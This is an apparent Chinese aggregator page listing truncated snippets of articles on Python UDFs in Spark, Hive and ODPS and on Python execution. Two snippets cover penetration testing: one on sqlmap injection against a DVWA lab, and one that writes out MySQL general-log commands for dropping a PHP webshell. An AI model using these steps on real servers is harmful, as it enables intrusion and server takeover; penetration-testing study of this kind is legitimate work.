udf也能用Python

【udf也能用Python】的更多相关文章

Spark(Hive) SQL中UDF的使用（Python）

相对于使用MapReduce或者Spark Application的方式进行数据分析,使用Hive SQL或Spark SQL能为我们省去不少的代码工作量,而Hive SQL或Spark SQL本身内置的各类UDF也为我们的数据处理提供了不少便利的工具,当这些内置的UDF不能满足于我们的需要时,Hive SQL或Spark SQL还为我们提供了自定义UDF的相关接口,方便我们根据自己的需求进行扩展. 在Hive的世界里使用自定义UDF的过程是比较复杂的.我们需要根据需求使用Java语言开发相…

Spark(Hive) SQL中UDF的使用（Python）【转】

相对于使用MapReduce或者Spark Application的方式进行数据分析,使用Hive SQL或Spark SQL能为我们省去不少的代码工作量,而Hive SQL或Spark SQL本身内置的各类UDF也为我们的数据处理提供了不少便利的工具,当这些内置的UDF不能满足于我们的需要时,Hive SQL或Spark SQL还为我们提供了自定义UDF的相关接口,方便我们根据自己的需求进行扩展. 在Hive的世界里使用自定义UDF的过程是比较复杂的.我们需要根据需求使用Java语言开发相…

具体步骤见<fluent加载第三方(C++,Fortran等)动态链接库> 我们对导入的动态链接库进行改动打开VS2013 完成了上述过程以后,还需要配置Python 首先需要安装Python,我安装的是anaconda2(可到清华大学开源软件镜像站下载,链接:https:// mirrors.tuna.tsinghua.edu.cn/anaconda/archive/ ) 源代码 #include / *输入输出流头文件*/ #include / *Python头文件*/ #include…

猪和python（pig and python)

Python 真是无处不在国内. pig 0.9后python作为嵌入式语音,采用Jython解释器使用python2.5特征,此接口是最上层org.apache.pig.scripting.Pig首先python脚本将一些Pig Latin译.然后将在Python中定义的变量传递给它,最后运行它. 1) Pig.compile 或compilefromFile 对代码进行预编译2)Bind 方法将控制流中的变量绑定到Pig Latin脚本中的变量,会返回一个BoundScript对象3)针对B…

spark UDF函数

Spark(Hive) SQL中UDF的使用(Python):http://www.tuicool.com/articles/3yMBNb7…

2015/10/9 Python基础(21)：可调用和可执行对象

在Python中有多种运行外部程序的方法,比如,运行操作系统命令或另外的Python脚本,或执行一个磁盘上的文件,或通过网络来运行文件.这完全取决于想要干什么.特定的环境包括: 在当前脚本继续运行创建和管理子进程执行外部命令或程序执行需要输入的命令通过网络来调用命令执行命令来创建需要处理的输出执行其他的Python脚本执行一系列动态生成的Python语句导入Python模块 Python中,内建和外部模块都可以提供上述各种功能.程序员得根据实现的需要,从这些模块中选择合适的处理方…

Apache Spark 2.2.0 中文文档 - Spark SQL, DataFrames and Datasets Guide | ApacheCN

Spark SQL, DataFrames and Datasets Guide Overview SQL Datasets and DataFrames 开始入门起始点: SparkSession 创建 DataFrames 无类型的Dataset操作 (aka DataFrame 操作) Running SQL Queries Programmatically 全局临时视图创建Datasets RDD的互操作性使用反射推断Schema 以编程的方式指定Schema Aggregatio…

Apache Spark 2.2.0 中文文档

Apache Spark 2.2.0 中文文档 - 快速入门 | ApacheCN Geekhoo 关注 2017.09.20 13:55* 字数 2062 阅读 13评论 0喜欢 1 快速入门使用 Spark Shell 进行交互式分析基础 Dataset 上的更多操作缓存独立的应用快速跳转本教程提供了如何使用 Spark 的快速入门介绍.首先通过运行 Spark 交互式的 shell(在 Python 或 Scala 中)来介绍 API, 然后展示如何使用 Java , Scal…

渗透测试环境搭建以及使用sqlmap获取mysql用户数据库密码

通过sqlmap检测sql注入漏洞安装SQLmap漏洞查看工具安装渗透测试演练系统DVWA 使用SQLmap进行sql注入并获得后台管理员adnim帐号和密码环境介绍安装SQLmap:Rich七哥64.cn IP:192.168.1.64 渗透测试演练系统DVWA:Rich七哥63.cn IP:192.168.1.63 sql注入概述: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 它是利用现有应用程序…

Apache Spark 2.2.0 中文文档 - Spark SQL, DataFrames and Datasets

Spark SQL, DataFrames and Datasets Guide Overview SQL Datasets and DataFrames 开始入门起始点: SparkSession 创建 DataFrames 无类型的Dataset操作 (aka DataFrame 操作) Running SQL Queries Programmatically 全局临时视图创建Datasets RDD的互操作性使用反射推断Schema 以编程的方式指定Schema Aggregatio…

MySQL数据库入侵及防御方法

来自:http://blog.51cto.com/simeon/1981572 作者介绍陈小兵,高级工程师,具有丰富的信息系统项目经验及18年以上网络安全经验,现主要从事网络安全及数据库技术研究工作.<黑客攻防及实战案例解析><Web渗透及实战案例解析><安全之路-Web渗透及实战案例解析第二版><黑客攻防实战加密与解密><网络攻防实战研究:漏洞利用与提权>作者,在国内多本学术期刊发表论文20余篇,并在多本IT杂志发表文章100余篇. 在针对网…

MYSQL渗透测试

部分来源于:先知社区 MYSQL-getshell篇通过日志getshell 查看日志的物理路径(绝对路径) show variables like '%general%'; 打开日志记录内容 set global general_log = on; 重新设置日志路径(绝对路径) set global general_log_file = '日志绝对路径'; 写入webshell 通过SQL的查询语句,查询的语句会被记录在日志中,以此达到将php的webshell写入到日志文件中 select…

sparksql udf的运用----scala及python版（2016年7月17日前完成）

问:udf在sparksql 里面的作用是什么呢? 答:oracle的存储过程会有用到定义函数,那么现在udf就相当于一个在sparksql用到的函数定义: 第二个问题udf是怎么实现的呢? registerFunction(name, f, returnType=StringType) name – name of the UDF f – python function returnType – a DataType object 首先我们从官网的例子去理解: >>> from py…

ODPS_ele—UDF Python API

自定义函数(UDF) UDF全称User Defined Function,即用户自定义函数.ODPS提供了很多内建函数来满足用户的计算需求,同时用户还可以通过创建自定义函数来满足不同的计算需求.UDF在使用上与普通的 SQL内建函数类似. 在ODPS中,用户可以扩展的UDF有三种,分别是: UDF 分类 | 描述 User Defined Scalar Function 通常也称之为UDF 自定义函数,准确的说是用户自定义标量函数 (User Defined Scalar Function…

Hive之 Python写UDF

大自然的搬运工: 参考: 使用Python编写Hive UDF https://www.iteblog.com/archives/2329.html 使用 Python 编写 Hive UDF 环境问题 https://www.iteblog.com/archives/2309.html…

【原】Learning Spark (Python版) 学习笔记(三)----工作原理、调优与Spark SQL

周末的任务是更新Learning Spark系列第三篇,以为自己写不完了,但为了改正拖延症,还是得完成给自己定的任务啊 = =.这三章主要讲Spark的运行过程(本地+集群),性能调优以及Spark SQL相关的知识,如果对Spark不熟的同学可以先看看之前总结的两篇文章: [原]Learning Spark (Python版) 学习笔记(一)----RDD 基本概念与命令 [原]Learning Spark (Python版) 学习笔记(二)----键值对.数据读取与保存.共享特性 #####…

Python入门笔记(26)：Python执行环境

一.python特定的执行环境在当前脚本继续进行创建和管理子进程执行外部命令或程序执行需要输入的命令通过网络来调用命令执行命令来创建需要处理的输出动态生成Python语句导入Python模块这些都可通过内建或外部模块实现. 二.可调用对象调用方式:可调用对象后紧跟操作符() 4种可调用对象:函数.方法.类以及一些类的实例 1.函数分三种不同类型的函数对象 (1).内建函数(BIF),是Built-in Function缩写,由C/C++编写导入Python编辑器的. (2)…

Gearman + Nodejs + MySQL UDF异步实现 MySQL 到 Redis 的数据同步

[TOC] 1, 环境 CentOS, MySQL, Redis, Nodejs 2, Redis简介 Redis是一个开源的K-V内存数据库,它的key可以是string/set/hash/list/...,因为是基于内存的,所在访问速度相当快. 3, Gearman简介 Gearman是一个开源的Map/Reduce分布式计算框架,具有丰富的client sdk,而且它支持MySQL UDF. Gearman工作图 Gearman调用流程 Gearman集群从图中可以看出貌似Gearman…

python 数据运算

算数运算: …

Spark(Hive) SQL数据类型使用详解(Python)

Spark SQL使用时需要有若干“表”的存在,这些“表”可以来自于Hive,也可以来自“临时表”.如果“表”来自于Hive,它的模式(列名.列类型等)在创建时已经确定,一般情况下我们直接通过Spark SQL分析表中的数据即可:如果“表”来自“临时表”,我们就需要考虑两个问题: (1)“临时表”的数据是哪来的? (2)“临时表”的模式是什么? 通过Spark的官方文档可以了解到,生成一张“临时表”需要两个要素: (1)关联着数据的RDD: (2)数据模式: 也就是说,我们需要将…

Spark SQL编程指南（Python）

前言 Spark SQL允许我们在Spark环境中使用SQL或者Hive SQL执行关系型查询.它的核心是一个特殊类型的Spark RDD:SchemaRDD. SchemaRDD类似于传统关系型数据库的一张表,由两部分组成: Rows:数据行对象 Schema:数据行模式:列名.列数据类型.列可否为空等 Schema可以通过四种方式被创建: (1)Existing RDD (2)Parquet File (3)JSON Dataset (4)By running Hive…

python升级导致的坑

问题来源问题往往都是这样来的突然,让我措手不及. 小孩没娘说来话长啊,操作系统是centos6.5因此默认自带的python是2.6.6的,突然有一天我要写一个关于kafka topic消费情况的监控,因此我需要安装一个包,很不巧这个包要求很特殊需要python2.7,没招只能升级了,升级比较简单网上搜索一大堆,升级完成监控也顺利开发完成了,一切就这样相安无事过去了很久.突然今天同事来找我说他之前给hive写的一个udf函数不能用了,说缺少这个包:pyhs2,还说之前装过这个包,为啥不能用了,…

Python核心编程读笔 13：执行环境

第14章执行环境一.可调用对象 python有四种可调用对象:函数.方法.类.一些类的实例 1 函数 (1)内建函数(BIF) BIF是用c/c++写的,编译后放入python解释器,然后把它们作为第一(内建)名字空间的一部分加载进系统.这些函数在_bulitin_模块里,并作为__builtins__模块导入到解释器中内建函数属性: bif.__doc__ 文档字符串(或 None) bif.__name__ 字符串类型的文档名字 bif.__self__ 设置为 None(保留给 b…

Python核心编程第二版(中文).pdf 目录整理

python核心编程目录 Chapter1:欢迎来到python世界!-页码:7 1.1什么是python 1.2起源 :罗萨姆1989底创建python 1.3特点 1.3.1高级 1.3.2面向对象 1.3.3可升级 1.3.4可扩展 1.3.5可移植性:python使用C写的. 1.3.6易学 1.3.7易读 1.3.8易维护 1.3.9健壮性 1.3.10高效的快速原型开发工具 1.3.11内存管理器 :内存管理由python解释器负责,开发仅仅致力于开发计划中的应用程序. 1.3.1…

从零起步学python计划及感想

从纯传统bi转型过来的技术顾问,比较有优势的是对业务的熟悉,对数据有敏感度,熟悉数据模型.但是长年累月基本都是用sql处理问题.目前还没有经历过sql解决不了的问题,一个sql解决不了就用临时表,几个sql解决(笑).虽然不是最佳实现.但目前还都能凑合应付,但咱不能就此停步不前吧?整合这段时间项目有空,于是就研究了一下用python写udf.why python??因为我还不会java啊,python相对容易学习啊.而且python学好了,还可以搞搞爬虫,搞搞机器学习呢.当然,以后也有吧这些py…